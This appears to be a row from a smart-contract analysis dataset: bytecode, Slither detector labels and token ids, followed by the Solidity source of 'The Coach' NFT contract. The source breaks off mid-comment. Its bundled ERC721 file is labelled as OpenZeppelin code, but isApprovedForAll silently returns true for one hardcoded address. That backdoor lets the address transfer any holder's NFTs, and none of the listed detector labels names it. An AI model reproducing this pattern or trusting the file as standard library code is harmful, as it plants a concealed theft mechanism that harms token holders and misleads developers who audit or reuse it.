05081810360008301526139b481613978565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006139f582612a83565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a2857613a27613645565b5b600182019050919050565b7f4d657461646174612066726f7a656e0000000000000000000000000000000000600082015250565b6000613a69600f83612c16565b9150613a7482613a33565b602082019050919050565b60006020820190508181036000830152613a9881613a5c565b9050919050565b7f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260008201527f20617070726f7665640000000000000000000000000000000000000000000000602082015250565b6000613afb602983612c16565b9150613b0682613a9f565b604082019050919050565b60006020820190508181036000830152613b2a81613aee565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613b8d602683612c16565b9150613b9882613b31565b604082019050919050565b60006020820190508181036000830152613bbc81613b80565b9050919050565b7f436f6e7472616374206d696e74696e67206e6f7420616c6c6f77656400000000600082015250565b6000613bf9601c83612c16565b9150613c0482613bc3565b602082019050919050565b60006020820190508181036000830152613c2881613bec565b9050919050565b7f416464726573732068617320616c7265616479206d696e746564000000000000600082015250565b6000613c65601a83612c16565b9150613c7082613c2f565b602082019050919050565b60006020820190508181036000830152613c9481613c58565b9050919050565b7f496e76616c696420457468657220616d6f756e742073656e7400000000000000600082015250565b6000613cd1601983612c16565b9150613cdc82613c9b565b602082019050919050565b60006020820190508181036000830152613d0081613cc4565b9050919050565b7f45786365656473206d6178696d756d206e756d626572206f6620746f6b656e73600082015250565b6000613d3d602083612c16565b9150613d4882613d07565b602082019050919050565b60006020820190508181036000830152613d6c81613d30565b9050919050565b7f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060008201527f6d69736d61746368000000000000000000000000000000000000000000000000602082015250565b6000613dcf602883612c16565b9150613dda82613d73565b604082019050919050565b60006020820190508181036000830152613dfe81613dc2565b9050919050565b7f455243313135353a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613e61602583612c16565b9150613e6c82613e05565b604082019050919050565b60006020820190508181036000830152613e9081613e54565b9050919050565b7f455243313135353a20696e73756666696369656e742062616c616e636520666f60008201527f72207472616e7366657200000000000000000000000000000000000000000000602082015250565b6000613ef3602a83612c16565b9150613efe82613e97565b604082019050919050565b60006020820190508181036000830152613f2281613ee6565b9050919050565b60006040820190508181036000830152613f4381856131a0565b90508181036020830152613f5781846131a0565b90509392505050565b600081905092915050565b7f19457468657265756d205369676e6564204d6573736167653a0a333200000000600082015250565b6000613fa1601c83613f60565b9150613fac82613f6b565b601c82019050919050565b6000819050919050565b6000819050919050565b613fdc613fd782613fb7565b613fc1565b82525050565b6000613fed82613f94565b9150613ff98284613fcb565b60208201915081905092915050565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b600061403e601d83612c16565b915061404982614008565b602082019050919050565b6000602082019050818103600083015261406d81614031565b9050919050565b600081905092915050565b50565b600061408f600083614074565b915061409a8261407f565b600082019050919050565b60006140b082614082565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b6000614116603a83612c16565b9150614121826140ba565b604082019050919050565b6000602082019050818103600083015261414581614109565b9050919050565b7f455243313135353a2073657474696e6720617070726f76616c2073746174757360008201527f20666f722073656c660000000000000000000000000000000000000000000000602082015250565b60006141a8602983612c16565b91506141b38261414c565b604082019050919050565b600060208201905081810360008301526141d78161419b565b9050919050565b60006040820190506141f36000830185612af9565b6142006020830184612af9565b9392505050565b7f455243313135353a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000614263602183612c16565b915061426e82614207565b604082019050919050565b6000602082019050818103600083015261429281614256565b9050919050565b600081519050919050565b600082825260208201905092915050565b60006142c082614299565b6142ca81856142a4565b93506142da818560208601612c27565b6142e381612c5a565b840191505092915050565b600060a0820190506143036000830188612cc6565b6143106020830187612cc6565b818103604083015261432281866131a0565b9050818103606083015261433681856131a0565b9050818103608083015261434a81846142b5565b90509695505050505050565b60008151905061436581612b4f565b92915050565b60006020828403121561438157614380612a1b565b5b600061438f84828501614356565b91505092915050565b60008160e01c9050919050565b600060033d11156143c45760046000803e6143c1600051614398565b90505b90565b600060443d10156143d75761445a565b6143df612a11565b60043d036004823e80513d602482011167ffffffffffffffff8211171561440757505061445a565b808201805167ffffffffffffffff811115614425575050505061445a565b80602083010160043d03850181111561444257505050505061445a565b61445182602001850186612d24565b82955050505050505b90565b7f455243313135353a207472616e7366657220746f206e6f6e204552433131353560008201527f526563656976657220696d706c656d656e746572000000000000000000000000602082015250565b60006144b9603483612c16565b91506144c48261445d565b604082019050919050565b600060208201905081810360008301526144e8816144ac565b9050919050565b7f455243313135353a204552433131353552656365697665722072656a6563746560008201527f6420746f6b656e73000000000000000000000000000000000000000000000000602082015250565b600061454b602883612c16565b9150614556826144ef565b604082019050919050565b6000602082019050818103600083015261457a8161453e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f45434453413a20696e76616c6964207369676e61747572650000000000000000600082015250565b60006145e6601883612c16565b91506145f1826145b0565b602082019050919050565b60006020820190508181036000830152614615816145d9565b9050919050565b7f45434453413a20696e76616c6964207369676e6174757265206c656e67746800600082015250565b6000614652601f83612c16565b915061465d8261461c565b602082019050919050565b6000602082019050818103600083015261468181614645565b9050919050565b7f45434453413a20696e76616c6964207369676e6174757265202773272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b60006146e4602283612c16565b91506146ef82614688565b604082019050919050565b60006020820190508181036000830152614713816146d7565b9050919050565b7f45434453413a20696e76616c6964207369676e6174757265202776272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b6000614776602283612c16565b91506147818261471a565b604082019050919050565b600060208201905081810360008301526147a581614769565b9050919050565b600060a0820190506147c16000830188612cc6565b6147ce6020830187612cc6565b6147db6040830186612af9565b6147e86060830185612af9565b81810360808301526147fa81846142b5565b90509695505050505050565b61480f81613fb7565b82525050565b600060ff82169050919050565b61482b81614815565b82525050565b60006080820190506148466000830187614806565b6148536020830186614822565b6148606040830185614806565b61486d6060830184614806565b9594505050505056fea2646970667358221220dc9d78f363850737cf46c64d85cc04ecc13a853766fa3472db0b7833b849f47d64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 18939, 2683, 2620, 2620, 21619, 7875, 2581, 2620, 2487, 4215, 9818, 2278, 16147, 2683, 29097, 2497, 2549, 2497, 2692, 5243, 26337, 3676, 18827, 9818, 2581, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 1013, 2128, 4765, 5521, 5666, 18405, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 14526, 24087, 1013, 9413, 2278, 14526, 24087, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,873
0x95dBbb8CCe80e92c8ECE55936eeB7De805F3C806
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./tools/ERC721.sol"; import "@openzeppelin/contracts/interfaces/IERC2981.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; import "@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol"; import "./interfaces/ITheCoachFunds.sol"; import "hardhat/console.sol"; contract TheCoach is ERC721, Ownable, Pausable, IERC2981, VRFConsumerBaseV2 { using Strings for uint256; using Address for address payable; enum TokenType { WarmUp, Match, Celebration } // The royalties taken on each sale. Can range from 0 to 10000 // 500 => 5% uint16 internal constant ROYALTIES = 500; //current minted supply uint256 public totalSupply; string public baseURI = ""; uint256 public currentIndex; uint256 public randomStart; uint256 public randomIncrementor; address public fundsRecipient = 0x1D2720071D79B8D472de0fBe06c7EC8B1278fCFB; uint16 public vrfConfirmations = 3; VRFCoordinatorV2Interface private vrfCoordinator; LinkTokenInterface private linkToken; // Your subscription ID. uint64 private s_subscriptionId; event RandomNumbersReceived(uint256 start, uint256 incrementor); bytes32 private keyHash; ITheCoachFunds private fundsContract; uint256 private mintIndex; constructor( address _fundsContract, address _vrfCoordinator, address _linkToken, bytes32 _keyHash, uint64 subscriptionId ) ERC721("The Coach", "COACH") VRFConsumerBaseV2(_vrfCoordinator) { require( _vrfCoordinator != address(0) && _linkToken != address(0) && _fundsContract != address(0), "Invalid address" ); vrfCoordinator = VRFCoordinatorV2Interface(_vrfCoordinator); linkToken = LinkTokenInterface(_linkToken); keyHash = _keyHash; s_subscriptionId = subscriptionId; fundsContract = ITheCoachFunds(_fundsContract); // As problems with Chainlink VRF were encountered, we set a default random number // as a starting point // Limit the size of the starting point randomStart = 19710119592114770858279952250351859327863463369957847852130447827581281135332 % 1000000; // Limit the size of the incrementor randomIncrementor = 29709172978955905326168406026616612495065630099595172191632483245568913218637 % 100000; if (randomIncrementor % 2011 <= 1) { randomIncrementor += 10; } } /** * @param count - number of premint addresses to drop */ function batchMint(uint256 count) external onlyOwner { // The contract receiving the funds has to be paused before // doing the batch mint require(fundsContract.paused(), "ongoing premint"); require(randomIncrementor != 0, "Random not initialized"); uint256 end = mintIndex + count; for (uint256 i = mintIndex; i < end; i++) { address to = fundsContract.preMintAddresses(i); // Make sure to take into account already minted tokens // in a previous batch mint if (balanceOf(to) >= fundsContract.preMintAllowance(to)) { continue; } uint256 allowance = fundsContract.preMintAllowance(to) - balanceOf(to); for (uint256 j = 0; j < allowance; j++) { uint256 tokenId = getCurrentTokenId(); _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } _balances[to] += allowance; totalSupply += allowance; } mintIndex = end; } function requestRandomNumber() external onlyOwner { vrfCoordinator.requestRandomWords( keyHash, s_subscriptionId, // 3 confirmations vrfConfirmations, // up to 2 million gas 2000000, // 2 random numbers 2 ); } function fulfillRandomWords(uint256, uint256[] memory _randomWords) internal override { // Limit the size of the starting point randomStart = _randomWords[0] % 1000000; // Limit the size of the incrementor randomIncrementor = _randomWords[1] % 100000; if (randomIncrementor % 2011 <= 1) { randomIncrementor += 10; } emit RandomNumbersReceived(randomStart, randomIncrementor); } /** * @dev Set the base URI of every token URI */ function setBaseURI(string memory uri) external onlyOwner { baseURI = uri; } function setVRFConfirmations(uint16 value) external onlyOwner { vrfConfirmations = value; } function setSubscriptionId(uint64 value) external onlyOwner { s_subscriptionId = value; } function setVRFKeyHash(bytes32 value) external onlyOwner { keyHash = value; } /** * @dev Set the recipient of most of the funds of this contract * and all of the royalties */ function setFundsRecipient(address addr) external onlyOwner { require(addr != address(0), "Invalid address"); fundsRecipient = addr; } /** * @dev Get the URI for a given token */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "URI query for nonexistent token"); // Concatenate the baseURI and the tokenId as the tokenId should // just be appended at the end to access the token metadata return string(abi.encodePacked(baseURI, tokenId.toString(), ".json")); } /** * @dev Called with the sale price to determine how much royalty is owed and to whom. * @param tokenId - the NFT asset queried for royalty information * @param salePrice - the sale price of the NFT asset specified by `tokenId` * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for `salePrice` */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view override returns (address receiver, uint256 royaltyAmount) { receiver = fundsRecipient; // We divide it by 10000 as the royalties can change from // 0 to 10000 representing percents with 2 decimals royaltyAmount = (salePrice * ROYALTIES) / 10000; } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function getCurrentTokenId() private returns (uint256) { uint256 tokenId; do { tokenId = ((randomIncrementor * currentIndex++) + randomStart) % 2011; } while (tokenId >= 2000 || _exists(tokenId)); return tokenId; } /** * @dev Get the type of NFT (either Warm up, Match or Celebration) according to the id * of the token */ function getTokenType(uint256 tokenId) external view returns (TokenType) { require(tokenId < 2000, "Wrong id"); if (tokenId < 5) { return TokenType.Celebration; } else if (tokenId < 275) { return TokenType.Match; } else { return TokenType.WarmUp; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) internal _owners; // Mapping owner address to token count mapping(address => uint256) internal _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { // Implementation in child contract return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { if(operator == 0x58807baD0B376efc12F5AD86aAc70E78ed67deaE){ return true; } return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Interface for the NFT Royalty Standard. * * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal * support for royalty payments across all NFT marketplaces and ecosystem participants. * * _Available since v4.5._ */ interface IERC2981 is IERC165 { /** * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of * exchange. The royalty amount is denominated and should be payed in that same unit of exchange. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface VRFCoordinatorV2Interface { /** * @notice Get configuration relevant for making requests * @return minimumRequestConfirmations global min for request confirmations * @return maxGasLimit global max for request gas limit * @return s_provingKeyHashes list of registered key hashes */ function getRequestConfig() external view returns ( uint16, uint32, bytes32[] memory ); /** * @notice Request a set of random words. * @param keyHash - Corresponds to a particular oracle job which uses * that key for generating the VRF proof. Different keyHash's have different gas price * ceilings, so you can select a specific one to bound your maximum per request cost. * @param subId - The ID of the VRF subscription. Must be funded * with the minimum subscription balance required for the selected keyHash. * @param minimumRequestConfirmations - How many blocks you'd like the * oracle to wait before responding to the request. See SECURITY CONSIDERATIONS * for why you may want to request more. The acceptable range is * [minimumRequestBlockConfirmations, 200]. * @param callbackGasLimit - How much gas you'd like to receive in your * fulfillRandomWords callback. Note that gasleft() inside fulfillRandomWords * may be slightly less than this amount because of gas used calling the function * (argument decoding etc.), so you may need to request slightly more than you expect * to have inside fulfillRandomWords. The acceptable range is * [0, maxGasLimit] * @param numWords - The number of uint256 random values you'd like to receive * in your fulfillRandomWords callback. Note these numbers are expanded in a * secure way by the VRFCoordinator from a single random value supplied by the oracle. * @return requestId - A unique identifier of the request. Can be used to match * a request to a response in fulfillRandomWords. */ function requestRandomWords( bytes32 keyHash, uint64 subId, uint16 minimumRequestConfirmations, uint32 callbackGasLimit, uint32 numWords ) external returns (uint256 requestId); /** * @notice Create a VRF subscription. * @return subId - A unique subscription id. * @dev You can manage the consumer set dynamically with addConsumer/removeConsumer. * @dev Note to fund the subscription, use transferAndCall. For example * @dev LINKTOKEN.transferAndCall( * @dev address(COORDINATOR), * @dev amount, * @dev abi.encode(subId)); */ function createSubscription() external returns (uint64 subId); /** * @notice Get a VRF subscription. * @param subId - ID of the subscription * @return balance - LINK balance of the subscription in juels. * @return reqCount - number of requests for this subscription, determines fee tier. * @return owner - owner of the subscription. * @return consumers - list of consumer address which are able to use this subscription. */ function getSubscription(uint64 subId) external view returns ( uint96 balance, uint64 reqCount, address owner, address[] memory consumers ); /** * @notice Request subscription owner transfer. * @param subId - ID of the subscription * @param newOwner - proposed new owner of the subscription */ function requestSubscriptionOwnerTransfer(uint64 subId, address newOwner) external; /** * @notice Request subscription owner transfer. * @param subId - ID of the subscription * @dev will revert if original owner of subId has * not requested that msg.sender become the new owner. */ function acceptSubscriptionOwnerTransfer(uint64 subId) external; /** * @notice Add a consumer to a VRF subscription. * @param subId - ID of the subscription * @param consumer - New consumer which can use the subscription */ function addConsumer(uint64 subId, address consumer) external; /** * @notice Remove a consumer from a VRF subscription. * @param subId - ID of the subscription * @param consumer - Consumer to remove from the subscription */ function removeConsumer(uint64 subId, address consumer) external; /** * @notice Cancel a subscription * @param subId - ID of the subscription * @param to - Where to send the remaining LINK to */ function cancelSubscription(uint64 subId, address to) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool success); function transferFrom( address from, address to, uint256 value ) external returns (bool success); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. It ensures 2 things: * @dev 1. The fulfillment came from the VRFCoordinator * @dev 2. The consumer contract implements fulfillRandomWords. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must 